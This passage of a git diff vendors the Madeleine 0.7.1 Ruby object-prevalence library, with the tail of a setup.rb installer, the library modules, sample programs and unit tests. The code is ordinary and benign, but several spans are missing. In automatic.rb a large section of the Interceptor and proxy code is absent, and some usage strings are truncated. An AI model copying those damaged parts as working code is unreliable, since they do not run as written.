"does `make clean' for each extention" ], + [ 'distclean',"does `make distclean' for each extention" ] + ] + + + def initialize( root ) + super nil, {'verbose' => true}, root, '.' + Installer.declare_toplevel_installer self + end + + + def invoke + run_metaconfigs + + case task = parsearg_global() + when 'config' + @config = ConfigTable.new + else + @config = ConfigTable.load + end + parsearg_TASK task + + exectask task + end + + include MetaConfigAPI + + def run_metaconfigs + eval_file_ifexist "#{srcdir_root()}/metaconfig" + end + + + def exectask( task ) + if task == 'show' + exec_show + else + try task + end + end + + def try( task ) + $stderr.printf "#{File.basename $0}: entering %s phase...\n", task if verbose? + begin + __send__ 'exec_' + task + rescue + $stderr.printf "%s failed\n", task + raise + end + $stderr.printf "#{File.basename $0}: %s done.\n", task if verbose? + end + + # + # processing arguments + # + + def parsearg_global + task_re = /\A(?:#{TASKS.map {|i| i[0] }.join '|'})\z/ + + while arg = ARGV.shift + case arg + when /\A\w+\z/ + task_re === arg or raise InstallError, "wrong task: #{arg}" + return arg + + when '-q', '--quiet' + @options['verbose'] = false + + when '--verbose' + @options['verbose'] = true + + when '-h', '--help' + print_usage $stdout + exit 0 + + when '-v', '--version' + puts "#{File.basename $0} version #{Version}" + exit 0 + + when '--copyright' + puts Copyright + exit 0 + + else + raise InstallError, "unknown global option '#{arg}'" + end + end + + raise InstallError, "No task or global option given. +Typical installation procedure is: + $ ruby #{File.basename $0} config + $ ruby #{File.basename $0} setup + # ruby #{File.basename $0} install (may require root privilege) +" + end + + + def parsearg_TASK( task ) + mid = "parsearg_#{task}" + if respond_to? mid, true + __send__ mid + else + ARGV.empty? or + raise InstallError, "#{task}: unknown options: #{ARGV.join ' '}" + end + end + + def parsearg_config + re = /\A--(#{ConfigTable.keys.join '|'})(?:=(.*))?\z/ + @options['config-opt'] = [] + + while i = ARGV.shift + if /\A--?\z/ === i + @options['config-opt'] = ARGV.dup + break + end + m = re.match(i) or raise InstallError, "config: unknown option #{i}" + name, value = m.to_a[1,2] + if value + if ConfigTable.bool_config?(name) + /\A(y(es)?|n(o)?|t(rue)?|f(alse))\z/i === value or raise InstallError, "config: --#{name} allows only yes/no for argument" + value = (/\Ay(es)?|\At(rue)/i === value) ? 'yes' : 'no' + end + else + ConfigTable.bool_config?(name) or raise InstallError, "config: --#{name} requires argument" + value = 'yes' + end + @config[name] = value + end + end + + def parsearg_install + @options['no-harm'] = false + @options['install-prefix'] = '' + while a = ARGV.shift + case a + when /\A--no-harm\z/ + @options['no-harm'] = true + when /\A--prefix=(.*)\z/ + path = $1 + path = File.expand_path(path) unless path[0,1] == '/' + @options['install-prefix'] = path + else + raise InstallError, "install: unknown option #{a}" + end + end + end + + + def print_usage( out ) + out.puts 'Typical Installation Procedure:' + out.puts " $ ruby #{File.basename $0} config" + out.puts " $ ruby #{File.basename $0} setup" + out.puts " # ruby #{File.basename $0} install (may require root privilege)" + out.puts + out.puts 'Detailed Usage:' + out.puts " ruby #{File.basename $0} " + out.puts " ruby #{File.basename $0} [] []" + + fmt = " %-20s %s\n" + out.puts + out.puts 'Global options:' + out.printf fmt, '-q,--quiet', 'suppress message outputs' + out.printf fmt, ' --verbose', 'output messages verbosely' + out.printf fmt, '-h,--help', 'print this message' + out.printf fmt, '-v,--version', 'print version and quit' + out.printf fmt, ' --copyright', 'print copyright and quit' + + out.puts + out.puts 'Tasks:' + TASKS.each do |name, desc| + out.printf " %-10s %s\n", name, desc + end + + out.puts + out.puts 'Options for config:' + ConfigTable.each_definition do |name, (default, arg, desc, default2)| + out.printf " %-20s %s [%s]\n", + '--'+ name + (ConfigTable.bool_config?(name) ? '' : '='+arg), + desc, + default2 || default + end + out.printf " %-20s %s [%s]\n", + '--rbconfig=path', 'your rbconfig.rb to load', "running ruby's" + + out.puts + out.puts 'Options for install:' + out.printf " %-20s %s [%s]\n", + '--no-harm', 'only display what to do if given', 'off' + out.printf " %-20s %s [%s]\n", + '--prefix', 'install path prefix', '$prefix' + + out.puts + end + + # + # config + # + + def exec_config + super + @config.save + end + + # + # show + # + + def exec_show + ConfigTable.each_name do |k| + v = @config.get_raw(k) + if not v or v.empty? + v = '(not specified)' + end + printf "%-10s %s\n", k, v + end + end + +end + +### end toplevel.rb + +if $0 == __FILE__ + begin + ToplevelInstaller.invoke + rescue + raise if $DEBUG + $stderr.puts $!.message + $stderr.puts "Try 'ruby #{$0} --help' for detailed usage." + exit 1 + end +end diff --git a/vendor/madeleine-0.7.1/lib/madeleine.rb b/vendor/madeleine-0.7.1/lib/madeleine.rb new file mode 100755 index 00000000..3b6f8fdb --- /dev/null +++ b/vendor/madeleine-0.7.1/lib/madeleine.rb @@ -0,0 +1,420 @@ +# +# Madeleine - Ruby Object Prevalence +# +# Author:: Anders Bengtsson +# Copyright:: Copyright (c) 2003-2004 +# +# Usage: +# +# require 'madeleine' +# +# madeleine = SnapshotMadeleine.new("my_example_storage") { +# SomeExampleApplication.new() +# } +# +# madeleine.execute_command(command) +# + +module Madeleine + + require 'thread' + require 'sync' + require 'madeleine/files' + + MADELEINE_VERSION = "0.7.1" + + class SnapshotMadeleine + + # Builds a new Madeleine instance. If there is a snapshot available + # then the system will be created from that, otherwise + # new_system will be used. The state of the system will + # then be restored from the command logs. + # + # You can provide your own snapshot marshaller, for instance using + # YAML or SOAP, instead of Ruby's built-in marshaller. The + # snapshot_marshaller must respond to + # load(stream) and dump(object, stream). You + # must use the same marshaller every time for a system. + # + # See: DefaultSnapshotMadeleine + # + # * directory_name - Storage directory to use. Will be created if needed. + # * snapshot_marshaller - Marshaller to use for system snapshots. (Optional) + # * new_system_block - Block to create a new system (if no stored system was found). + def self.new(directory_name, snapshot_marshaller=Marshal, &new_system_block) + log_factory = DefaultLogFactory.new + logger = Logger.new(directory_name, + log_factory) + snapshotter = Snapshotter.new(directory_name, + snapshot_marshaller) + lock = DefaultLock.new + recoverer = Recoverer.new(directory_name, + snapshot_marshaller) + system = recoverer.recover_snapshot(new_system_block) + + executer = Executer.new(system) + recoverer.recover_logs(executer) + DefaultSnapshotMadeleine.new(system, logger, snapshotter, lock, executer) + end + end + + class DefaultSnapshotMadeleine + + # The prevalent system + attr_reader :system + + def initialize(system, logger, snapshotter, lock, executer) + @system = system + @logger = logger + @snapshotter = snapshotter + @lock = lock + @executer = executer + + @closed = false + end + + # Execute a command on the prevalent system. + # + # Commands must have a method execute(aSystem). + # Otherwise an error, Madeleine::InvalidCommandException, + # will be raised. + # + # The return value from the command's execute() method is returned. + # + # * command - The command to execute on the system. + def execute_command(command) + verify_command_sane(command) + @lock.synchronize { + raise "closed" if @closed + @logger.store(command) + @executer.execute(command) + } + end + + # Execute a query on the prevalent system. + # + # Only differs from execute_command in that the command/query isn't logged, and + # therefore isn't allowed to modify the system. A shared lock is held, preventing others + # from modifying the system while the query is running. + # + # * query - The query command to execute + def execute_query(query) + @lock.synchronize_shared { + @executer.execute(query) + } + end + + # Take a snapshot of the current system. + # + # You need to regularly take a snapshot of a running system, + # otherwise the logs will grow big and restarting the system will take a + # long time. Your backups must also be done from the snapshot files, + # since you can't make a consistent backup of a live log. + # + # A practical way of doing snapshots is a timer thread: + # + # Thread.new(madeleine) {|madeleine| + # while true + # sleep(60 * 60 * 24) # 24 hours + # madeleine.take_snapshot + # end + # } + def take_snapshot + @lock.synchronize { + @logger.close + @snapshotter.take(@system) + @logger.reset + } + end + + # Close the system. + # + # The log file is closed and no new commands can be received + # by this Madeleine. + def close + @lock.synchronize { + @logger.close + @closed = true + } + end + + private + + def verify_command_sane(command) + unless command.respond_to?(:execute) + raise InvalidCommandException.new("Commands must have an 'execute' method") + end + end + end + + class InvalidCommandException < Exception + end + + # + # Internal classes below + # + + FILE_COUNTER_SIZE = 21 #:nodoc: + + class DefaultLock #:nodoc: + + def initialize + @lock = Sync.new + end + + def synchronize(&block) + @lock.synchronize(&block) + end + + def synchronize_shared(&block) + @lock.synchronize(:SH, &block) + end + end + + class Executer #:nodoc: + + def initialize(system) + @system = system + @in_recovery = false + end + + def execute(command) + begin + command.execute(@system) + rescue + raise unless @in_recovery + end + end + + def recovery + begin + @in_recovery = true + yield + ensure + @in_recovery = false + end + end + end + + class Recoverer #:nodoc: + + def initialize(directory_name, marshaller) + @directory_name, @marshaller = directory_name, marshaller + end + + def recover_snapshot(new_system_block) + system = nil + id = SnapshotFile.highest_id(@directory_name) + if id > 0 + snapshot_file = SnapshotFile.new(@directory_name, id).name + open(snapshot_file, "rb") {|snapshot| + system = @marshaller.load(snapshot) + } + else + system = new_system_block.call + end + system + end + + def recover_logs(executer) + executer.recovery { + CommandLog.log_file_names(@directory_name, FileService.new).each {|file_name| + open(@directory_name + File::SEPARATOR + file_name, "rb") {|log| + recover_log(executer, log) + } + } + } + end + + private + + def recover_log(executer, log) + while ! log.eof? + command = Marshal.load(log) + executer.execute(command) + end + end + end + + class NumberedFile #:nodoc: + + def initialize(path, name, id) + @path, @name, @id = path, name, id + end + + def name + result = @path + result += File::SEPARATOR + result += sprintf("%0#{FILE_COUNTER_SIZE}d", @id) + result += '.' + result += @name + end + end + + class CommandLog #:nodoc: + + def self.log_file_names(directory_name, file_service) + return [] unless file_service.exist?(directory_name) + result = file_service.dir_entries(directory_name).select {|name| + name =~ /^\d{#{FILE_COUNTER_SIZE}}\.command_log$/ + } + result.each {|name| name.untaint } + result.sort! + result + end + + def initialize(path, file_service) + id = self.class.highest_log(path, file_service) + 1 + numbered_file = NumberedFile.new(path, "command_log", id) + @file = file_service.open(numbered_file.name, 'wb') + end + + def close + @file.close + end + + def store(command) + Marshal.dump(command, @file) + @file.flush + @file.fsync + end + + def self.highest_log(directory_name, file_service) + highest = 0 + log_file_names(directory_name, file_service).each {|file_name| + match = /^(\d{#{FILE_COUNTER_SIZE}})/.match(file_name) + n = match[1].to_i + if n > highest + highest = n + end + } + highest + end + end + + class DefaultLogFactory #:nodoc: + def create_log(directory_name) + CommandLog.new(directory_name, FileService.new) + end + end + + class Logger #:nodoc: + + def initialize(directory_name, log_factory) + @directory_name = directory_name + @log_factory = log_factory + @log = nil + @pending_tick = nil + ensure_directory_exists + end + + def ensure_directory_exists + if ! File.exist?(@directory_name) + Dir.mkdir(@directory_name) + end + end + + def reset + close + delete_log_files + end + + def store(command) + if command.kind_of?(Madeleine::Clock::Tick) + @pending_tick = command + else + if @pending_tick + internal_store(@pending_tick) + @pending_tick = nil + end + internal_store(command) + end + end + + def internal_store(command) + if @log.nil? + open_new_log + end + @log.store(command) + end + + def close + return if @log.nil? + @log.close + @log = nil + end + + private + + def delete_log_files + Dir.glob(@directory_name + File::SEPARATOR + "*.command_log").each {|name| + name.untaint + File.delete(name) + } + end + + def open_new_log + @log = @log_factory.create_log(@directory_name) + end + end + + class SnapshotFile < NumberedFile #:nodoc: + + def self.highest_id(directory_name) + return 0 unless File.exist?(directory_name) + suffix = "snapshot" + highest = 0 + Dir.foreach(directory_name) {|file_name| + match = /^(\d{#{FILE_COUNTER_SIZE}}\.#{suffix}$)/.match(file_name) + next unless match + n = match[1].to_i + if n > highest + highest = n + end + } + highest + end + + def self.next(directory_name) + new(directory_name, highest_id(directory_name) + 1) + end + + def initialize(directory_name, id) + super(directory_name, "snapshot", id) + end + end + + class Snapshotter #:nodoc: + + def initialize(directory_name, marshaller) + @directory_name, @marshaller = directory_name, marshaller + end + + def take(system) + numbered_file = SnapshotFile.next(@directory_name) + name = numbered_file.name + open(name + '.tmp', 'wb') {|snapshot| + @marshaller.dump(system, snapshot) + snapshot.flush + snapshot.fsync + } + File.rename(name + '.tmp', name) + end + end + + module Clock #:nodoc: + class Tick #:nodoc: + + def initialize(time) + @time = time + end + + def execute(system) + system.clock.forward_to(@time) + end + end + end +end + +SnapshotMadeleine = Madeleine::SnapshotMadeleine + diff --git a/vendor/madeleine-0.7.1/lib/madeleine/automatic.rb b/vendor/madeleine-0.7.1/lib/madeleine/automatic.rb new file mode 100755 index 00000000..9c057a87 --- /dev/null +++ b/vendor/madeleine-0.7.1/lib/madeleine/automatic.rb @@ -0,0 +1,418 @@ +require 'yaml' +require 'madeleine/zmarshal' +require 'soap/marshal' + +module Madeleine + +# Automatic commands for Madeleine +# +# Author:: Stephen Sykes +# Copyright:: Copyright (C) 2003-2004 +# Version:: 0.41 +# +# This module provides a way of automatically generating command objects for madeleine to +# store. It works by making a proxy object for all objects of any classes in which it is included. +# Method calls to these objects are intercepted, and stored as a command before being +# passed on to the real receiver. The command objects remember which object the command was +# destined for by using a pair of internal ids that are contained in each of the proxy objects. +# +# There is also a mechanism for specifying which methods not to intercept calls to by using +# automatic_read_only, and its opposite automatic_read_write. +# +# Should you require it, the snapshots can be stored as yaml, and can be compressed. Just pass +# the marshaller you want to use as the second argument to AutomaticSnapshotMadeleine.new. +# If the passed marshaller did not successfully deserialize the latest snapshot, the system +# will try to automatically detect and read either Marshal, YAML, SOAP, or their corresponding +# compressed versions. +# +# This module is designed to work correctly in the case there are multiple madeleine systems in use by +# a single program, and is also safe to use with threads. +# +# Usage: +# +# require 'madeleine' +# require 'madeleine/automatic' +# +# class A +# include Madeleine::Automatic::Interceptor +# attr_reader :foo +# automatic_read_only :foo +# def initialize(param1, ...) +# ... +# end +# def some_method(paramA, ...) +# ... +# end +# automatic_read_only +# def bigfoo +# foo.upcase +# end +# end +# +# mad = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) } +# +# mad.system.some_method(paramA, ...) # logged as a command by madeleine +# print mad.foo # not logged +# print mad.bigfoo # not logged +# mad.take_snapshot +# + + module Automatic +# +# This module should be included (at the top) in any classes that are to be persisted. +# It will intercept method calls and make sure they are converted into commands that are logged by Madeleine. +# It does this by returning a Prox object that is a proxy for the real object. +# +# It also handles automatic_read_only and automatic_read_write, allowing user specification of which methods +# should be made into commands +# + module Interceptor +# +# When included, redefine new so that we can return a Prox object instead, and define methods to handle +# keeping track of which methods are read only +# + def self.included(klass) + class < "") + x + end + + end + +# +# The AutomaticSnapshotMadeleine class contains an instance of the persister +# (default is SnapshotMadeleine) and provides additional automatic functionality. +# +# The class is instantiated the same way as SnapshotMadeleine: +# madeleine_sys = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) } +# The second initialisation parameter is the persister. Supported persisters are: +# +# * Marshal (default) +# * YAML +# * SOAP::Marshal +# * Madeleine::ZMarshal.new(Marshal) +# * Madeleine::ZMarshal.new(YAML) +# * Madeleine::ZMarshal.new(SOAP::Marshal) +# +# The class keeps a record of all the systems that currently exist. +# Each instance of the class keeps a record of Prox objects in that system by internal id (myid). +# +# We also add functionality to take_snapshot in order to set things up so that the custom Prox object +# marshalling will work correctly. +# + class AutomaticSnapshotMadeleine + attr_accessor :marshaller + attr_reader :list, :sysid + + def initialize(directory_name, marshaller=Marshal, persister=SnapshotMadeleine, &new_system_block) + @sysid ||= Time.now.to_f.to_s + Thread.current.object_id.to_s # Gererate a new sysid + @myid_count = 0 + @list = {} + Thread.current[:system] = self # during system startup system should not create commands + Thread.critical = true + @@systems ||= {} # holds systems by sysid + @@systems[@sysid] = self + Thread.critical = false + @marshaller = marshaller # until attrb + begin + @persister = persister.new(directory_name, Automatic_marshaller, &new_system_block) + @list.delete_if {|k,v| # set all the prox objects that now exist to have the right sysid + begin + ObjectSpace._id2ref(v).sysid = @sysid + false + rescue RangeError + true # Id was to a GC'd object, delete it + end + } + ensure + Thread.current[:system] = false + end + end +# +# Add a proxy object to the list, return the myid for that object +# + def add(proxo) + @list[@myid_count += 1] = proxo.object_id + @myid_count + end +# +# Restore a marshalled proxy object to list - myid_count is increased as required. +# If the object already exists in the system then the existing object must be used. +# + def restore(proxo) + if (@list[proxo.myid]) + proxo = myid2ref(proxo.myid) + else + @list[proxo.myid] = proxo.object_id + @myid_count = proxo.myid if (@myid_count < proxo.myid) + end + proxo + end +# +# Returns a reference to the object indicated by the internal id supplied. +# + def myid2ref(myid) + raise "Internal id #{myid} not found" unless objid = @list[myid] + ObjectSpace._id2ref(objid) + end +# +# Take a snapshot of the system. +# + def take_snapshot + begin + Thread.current[:system] = self + Thread.current[:snapshot_memory] = {} + @persister.take_snapshot + ensure + Thread.current[:snapshot_memory] = nil + Thread.current[:system] = false + end + end +# +# Returns the hash containing the systems. +# + def AutomaticSnapshotMadeleine.systems + @@systems + end +# +# Close method changes the sysid for Prox objects so they can't be mistaken for real ones in a new +# system before GC gets them +# + def close + begin + @list.each_key {|k| myid2ref(k).sysid = nil} + rescue RangeError + # do nothing + end + @persister.close + end + +# +# Pass on any other calls to the persister +# + def method_missing(symbol, *args, &block) + @persister.send(symbol, *args, &block) + end + end + + + module Deserialize #:nodoc: +# +# Detect format of an io stream. Leave it rewound. +# + def Deserialize.detect(io) + c = io.getc + c1 = io.getc + io.rewind + if (c == Marshal::MAJOR_VERSION && c1 <= Marshal::MINOR_VERSION) + Marshal + elsif (c == 31 && c1 == 139) # gzip magic numbers + ZMarshal + else + while (s = io.gets) + break if (s !~ /^\s*$/) # ignore blank lines + end + io.rewind + if (s && s =~ /^\s*<\?[xX][mM][lL]/) # " e + io.rewind + detected_marshaller = detect(io) + if (detected_marshaller == ZMarshal) + zio = Zlib::GzipReader.new(io) + detected_zmarshaller = detect(zio) + zio.finish + io.rewind + if (detected_zmarshaller) + ZMarshal.new(detected_zmarshaller).load(io) + else + raise e + end + elsif (detected_marshaller) + detected_marshaller.load(io) + else + raise e + end + end + end + end + + end +end + +AutomaticSnapshotMadeleine = Madeleine::Automatic::AutomaticSnapshotMadeleine diff --git a/vendor/madeleine-0.7.1/lib/madeleine/clock.rb b/vendor/madeleine-0.7.1/lib/madeleine/clock.rb new file mode 100755 index 00000000..012c6f27 --- /dev/null +++ b/vendor/madeleine-0.7.1/lib/madeleine/clock.rb @@ -0,0 +1,94 @@ +# +# Copyright(c) Anders Bengtsson 2003 +# + +require 'madeleine' + +module Madeleine + module Clock + + # Deprecated. Use SnapshotMadeleine instead. + class ClockedSnapshotMadeleine < ::Madeleine::SnapshotMadeleine # :nodoc: + end + + # Let your system extend this module if you need to access the + # machine time. Used together with a TimeActor that keeps + # the clock current. + module ClockedSystem + + # Returns this system's Clock. + def clock + unless defined? @clock + @clock = Clock.new + end + @clock + end + end + + # Sends clock ticks to update a ClockedSystem, so that time can be + # dealt with in a deterministic way. + class TimeActor + + # Create and launch a new TimeActor + # + # * madeleine - The SnapshotMadeleine instance to work on. + # * delay - Delay between ticks in seconds (Optional). + def self.launch(madeleine, delay=0.1) + result = new(madeleine, delay) + result + end + + # Stops the TimeActor. + def destroy + @is_destroyed = true + @thread.wakeup + @thread.join + end + + private_class_method :new + + private + + def initialize(madeleine, delay) #:nodoc: + @madeleine = madeleine + @is_destroyed = false + send_tick + @thread = Thread.new { + until @is_destroyed + sleep(delay) + send_tick + end + } + end + + def send_tick + @madeleine.execute_command(Tick.new(Time.now)) + end + end + + # Keeps track of time in a ClockedSystem. + class Clock + # Returns the system's time as a Ruby Time. + attr_reader :time + + def initialize + @time = Time.at(0) + end + + def forward_to(newTime) + @time = newTime + end + end + + # + # Internal classes below + # + + # Deprecated. Merged into default implementation. + class TimeOptimizingLogger < ::Madeleine::Logger # :nodoc: + end + + end +end + +ClockedSnapshotMadeleine = Madeleine::Clock::ClockedSnapshotMadeleine diff --git a/vendor/madeleine-0.7.1/lib/madeleine/files.rb b/vendor/madeleine-0.7.1/lib/madeleine/files.rb new file mode 100755 index 00000000..4276d8d5 --- /dev/null +++ b/vendor/madeleine-0.7.1/lib/madeleine/files.rb @@ -0,0 +1,19 @@ +# +# Wrapper for Ruby's file services, replaced during testing +# so we can run tests without touching a real filesystem. +# + +class FileService + + def open(*args) + super(*args) + end + + def exist?(name) + File.exist?(name) + end + + def dir_entries(name) + Dir.entries(name) + end +end diff --git a/vendor/madeleine-0.7.1/lib/madeleine/zmarshal.rb b/vendor/madeleine-0.7.1/lib/madeleine/zmarshal.rb new file mode 100755 index 00000000..b01210ec --- /dev/null +++ b/vendor/madeleine-0.7.1/lib/madeleine/zmarshal.rb @@ -0,0 +1,60 @@ +# +# Author:: Anders Bengtsson +# Copyright:: Copyright (c) 2004 +# + +require 'zlib' + +module Madeleine + # + # Snapshot marshaller for compressed snapshots. + # + # Compresses the snapshots created by another marshaller. Uses either + # Marshal (the default) or another supplied marshaller. + # + # Uses zlib to do on-the-fly compression/decompression. + # + # ZMarshal works with Ruby's own Marshal and YAML, but not with SOAP + # marshalling. + # + # Usage: + # + # require 'madeleine' + # require 'madeleine/zmarshal' + # + # marshaller = Madeleine::ZMarshal.new(YAML) + # madeleine = SnapshotMadeleine.new("my_example_storage", marshaller) { + # SomeExampleApplication.new() + # } + # + class ZMarshal + + def initialize(marshaller=Marshal) + @marshaller = marshaller + end + + def load(stream) + zstream = Zlib::GzipReader.new(stream) + begin + # Buffer into a string first, since GzipReader can't handle + # Marshal's 0-sized reads and SOAP can't handle streams at all. + # In a bright future we can revert to reading directly from the + # stream again. + buffer = zstream.read + return @marshaller.load(buffer) + ensure + zstream.finish + end + end + + def dump(system, stream) + zstream = Zlib::GzipWriter.new(stream) + begin + @marshaller.dump(system, zstream) + ensure + zstream.finish + end + nil + end + end +end diff --git a/vendor/madeleine-0.7.1/madeleine.gemspec b/vendor/madeleine-0.7.1/madeleine.gemspec new file mode 100755 index 00000000..cd5d38f8 --- /dev/null +++ b/vendor/madeleine-0.7.1/madeleine.gemspec @@ -0,0 +1,23 @@ + +require 'rubygems' + +spec = Gem::Specification.new do |s| + s.name = 'madeleine' + s.version = '0.7.1' + s.platform = Gem::Platform::RUBY + s.required_ruby_version = ">= 1.8.1" + s.summary = "Madeleine is a Ruby implementation of Object Prevalence" + s.require_path = 'lib' + s.autorequire = 'madeleine' + s.author = "Anders Bengtsson" + s.email = "ndrsbngtssn@yahoo.se" + s.homepage = "http://madeleine.sourceforge.net" + s.files = Dir.glob("lib/**/*.rb") + s.files += Dir.glob("samples/**/*.rb") + s.files += Dir.glob("contrib/**/*.rb") + s.files += ['README', 'NEWS', 'COPYING'] +end + +if $0 == __FILE__ + Gem::Builder.new(spec).build +end diff --git a/vendor/madeleine-0.7.1/samples/.cvsignore b/vendor/madeleine-0.7.1/samples/.cvsignore new file mode 100755 index 00000000..5ca652ac --- /dev/null +++ b/vendor/madeleine-0.7.1/samples/.cvsignore @@ -0,0 +1,3 @@ +dictionary-base +painter-demo +clock-demo diff --git a/vendor/madeleine-0.7.1/samples/clock_click.rb b/vendor/madeleine-0.7.1/samples/clock_click.rb new file mode 100755 index 00000000..c11d16a3 --- /dev/null +++ b/vendor/madeleine-0.7.1/samples/clock_click.rb @@ -0,0 +1,73 @@ +# +# Simple example of using time with Madeleine. +# + +$LOAD_PATH.unshift(".." + File::SEPARATOR + "lib") + +require 'madeleine/clock' +require 'tk' + +# The Clicker keeps track of when it was last clicked. +# +# To access the time it extends ClockedSystem, which provides +# it with the 'clock' attribute. +# +class Clicker + include Madeleine::Clock::ClockedSystem + + def initialize + @last_clicked = nil + end + + def click + @last_clicked = clock.time + end + + def last_clicked + return '-' if @last_clicked.nil? + @last_clicked.to_s + end +end + +# A command to update the Clicker with. +# +class Click + def execute(system) + system.click + end +end + +# Launch a ClockedSnapshotMadeleine. +# +# ClockedSnapshotMadeleine works like the regular SnapshotMadeleine, but +# optimizes away redundant commands from TimeActor. +# +madeleine = ClockedSnapshotMadeleine.new("clock-demo") { Clicker.new } + +# Launch the TimeActor. +# +# This provides time commands, without which the system's time would stand still. +# +Madeleine::Clock::TimeActor.launch(madeleine) + +clicker = madeleine.system + +# The GUI + +root = TkRoot.new() { title "Madeleine Clock Example" } +label = TkLabel.new(root) { + text "Last clicked " + clicker.last_clicked + width 40 + pack +} +button = TkButton.new(root) { + text 'Click' + command proc { + madeleine.execute_command(Click.new) + label.text("Last clicked " + clicker.last_clicked) + } + pack +} + +Tk.mainloop + diff --git a/vendor/madeleine-0.7.1/samples/dictionary_client.rb b/vendor/madeleine-0.7.1/samples/dictionary_client.rb new file mode 100755 index 00000000..596eab5f --- /dev/null +++ b/vendor/madeleine-0.7.1/samples/dictionary_client.rb @@ -0,0 +1,23 @@ +# +# Dictionary client +# +# See dictionary_server.rb for details +# + +require 'drb' + +DRb.start_service +dictionary = DRbObject.new(nil, "druby://localhost:1234") + +if ARGV.length == 1 + puts dictionary.lookup(ARGV[0]) +elsif ARGV.length == 2 + dictionary.add(ARGV[0], ARGV[1]) + puts "Stored" +else + puts "Usage: dictionary_client []" +end + + + + diff --git a/vendor/madeleine-0.7.1/samples/dictionary_server.rb b/vendor/madeleine-0.7.1/samples/dictionary_server.rb new file mode 100755 index 00000000..76c8e925 --- /dev/null +++ b/vendor/madeleine-0.7.1/samples/dictionary_server.rb @@ -0,0 +1,94 @@ +# +# A dictionary server using Distributed Ruby (DRb). +# +# All modifications to the dictionary are done as commands, +# while read-only queries (i.e 'lookup') are done directly. +# +# First launch this server in the background, then use +# dictionary_client.rb to look up and add items to the +# dictionary. +# You can kill the server at any time. The contents of the +# dictionary will still be there when you restart it. +# +# DRb is available at http://raa.ruby-lang.org/list.rhtml?name=druby +# + +$LOAD_PATH.unshift(".." + File::SEPARATOR + "lib") +require 'madeleine' + +require 'drb' + + +class Dictionary + def initialize + @data = {} + end + + def add(key, value) + @data[key] = value + end + + def lookup(key) + @data[key] + end +end + + +class Addition + def initialize(key, value) + @key, @value = key, value + end + + def execute(system) + system.add(@key, @value) + end +end + + +class Lookup + def initialize(key) + @key = key + end + + def execute(system) + system.lookup(@key) + end +end + + +class DictionaryServer + + def initialize(madeleine) + @madeleine = madeleine + @dictionary = madeleine.system + end + + def add(key, value) + # When adding a new key-value pair we modify the system, so + # this operation has to be done through a command. + @madeleine.execute_command(Addition.new(key, value)) + end + + def lookup(key) + # A lookup is a read-only operation, so we can do it as a non-logged + # query. If we weren't worried about concurrency problems we could + # have just called @dictionary.lookup(key) directly instead. + @madeleine.execute_query(Lookup.new(key)) + end +end + + +madeleine = SnapshotMadeleine.new("dictionary-base") { Dictionary.new } + +Thread.new(madeleine) { + puts "Taking snapshot every 30 seconds." + while true + sleep(30) + madeleine.take_snapshot + end +} + +DRb.start_service("druby://localhost:1234", + DictionaryServer.new(madeleine)) +DRb.thread.join + diff --git a/vendor/madeleine-0.7.1/samples/painter.rb b/vendor/madeleine-0.7.1/samples/painter.rb new file mode 100755 index 00000000..b9d21658 --- /dev/null +++ b/vendor/madeleine-0.7.1/samples/painter.rb @@ -0,0 +1,60 @@ +# +# Simple drawing program to show Madeleine's logging feature. +# +# When you restart the program, your old artwork is still there. +# +# (Note: The GUI components used here aren't marshal-able, +# so in a real app you would have to do custom marshaling for +# the Painter class to get working snapshots. Then again, in a real +# app you wouldn't use the GUI components to hold the app's data, +# would you?) +# + +$LOAD_PATH.unshift(".." + File::SEPARATOR + "lib") + +require 'madeleine' + +require 'tkclass' + +class Painter + + def initialize(canvas) + @canvas = canvas + end + + def draw(x, y) + line = Line.new(@canvas, x, y, x + 1, y + 1) + line.fill('black') + end +end + +class PaintCommand + + def initialize(x, y) + @x, @y = x, y + end + + def execute(system) + system.draw(@x, @y) + end +end + +root = TkRoot.new() { title "Madeleine Painter" } +canvas = Canvas.new(root) +canvas.pack + +$madeleine = Madeleine::SnapshotMadeleine.new("painter-demo") { Painter.new(canvas) } + +canvas.bind("1", + proc {|x, y| + $madeleine.execute_command(PaintCommand.new(x, y)) + }, + "%x %y") +canvas.bind("B1-Motion", + proc {|x, y| + $madeleine.execute_command(PaintCommand.new(x, y)) + }, + "%x %y") + +Tk.mainloop + diff --git a/vendor/madeleine-0.7.1/test/test.rb b/vendor/madeleine-0.7.1/test/test.rb new file mode 100755 index 00000000..e252a53f --- /dev/null +++ b/vendor/madeleine-0.7.1/test/test.rb @@ -0,0 +1,320 @@ +#!/usr/bin/env ruby +# + +$LOAD_PATH.unshift("lib") +$LOAD_PATH.unshift("test") + +require 'madeleine' +require 'test/unit' + + +class Append + def initialize(value) + @value = value + end + + def execute(system) + system << @value + end +end + + +module TestUtils + def delete_directory(directory_name) + return unless File.exists?(directory_name) + Dir.foreach(directory_name) do |file| + next if file == "." + next if file == ".." + assert(File.delete(directory_name + File::SEPARATOR + file) == 1, + "Unable to delete #{file}") + end + Dir.delete(directory_name) + end +end + + +class SnapshotMadeleineTest < Test::Unit::TestCase + include TestUtils + + def teardown + delete_directory(persistence_base) + end + + def persistence_base + "closing-test" + end + + def test_closing + madeleine = SnapshotMadeleine.new(persistence_base) { "hello" } + madeleine.close + assert_raises(RuntimeError) do + madeleine.execute_command(Append.new("world")) + end + end +end + +class NumberedFileTest < Test::Unit::TestCase + + def test_main + target = Madeleine::NumberedFile.new(File::SEPARATOR + "foo", "bar", 321) + assert_equal(File::SEPARATOR + "foo" + File::SEPARATOR + + "000000000000000000321.bar", + target.name) + end +end + + +class LoggerTest < Test::Unit::TestCase + include TestUtils + + def teardown + delete_directory("whoah") + end + + def test_creation + @log = Object.new + def @log.store(command) + unless defined? @commands + @commands = [] + end + @commands << command + end + def @log.commands + @commands + end + + log_factory = self + target = Madeleine::Logger.new("whoah", log_factory) + target.store(:foo) + assert(@log.commands.include?(:foo)) + end + + # Self-shunt + def create_log(directory_name) + @log + end +end + +class CommandVerificationTest < Test::Unit::TestCase + + def teardown + Dir.delete("foo") + end + + def test_broken_command + target = SnapshotMadeleine.new("foo") { :a_system } + assert_raises(Madeleine::InvalidCommandException) do + target.execute_command(:not_a_command) + end + end +end + + +class CustomMarshallerTest < Test::Unit::TestCase + include TestUtils + + def teardown + delete_directory(prevalence_base) + end + + def prevalence_base + "custom-marshaller-test" + end + + def madeleine_class + SnapshotMadeleine + end + + def test_changing_marshaller + @log = "" + marshaller = self + target = madeleine_class.new(prevalence_base, marshaller) { "hello world" } + target.take_snapshot + assert_equal("dump ", @log) + target = nil + 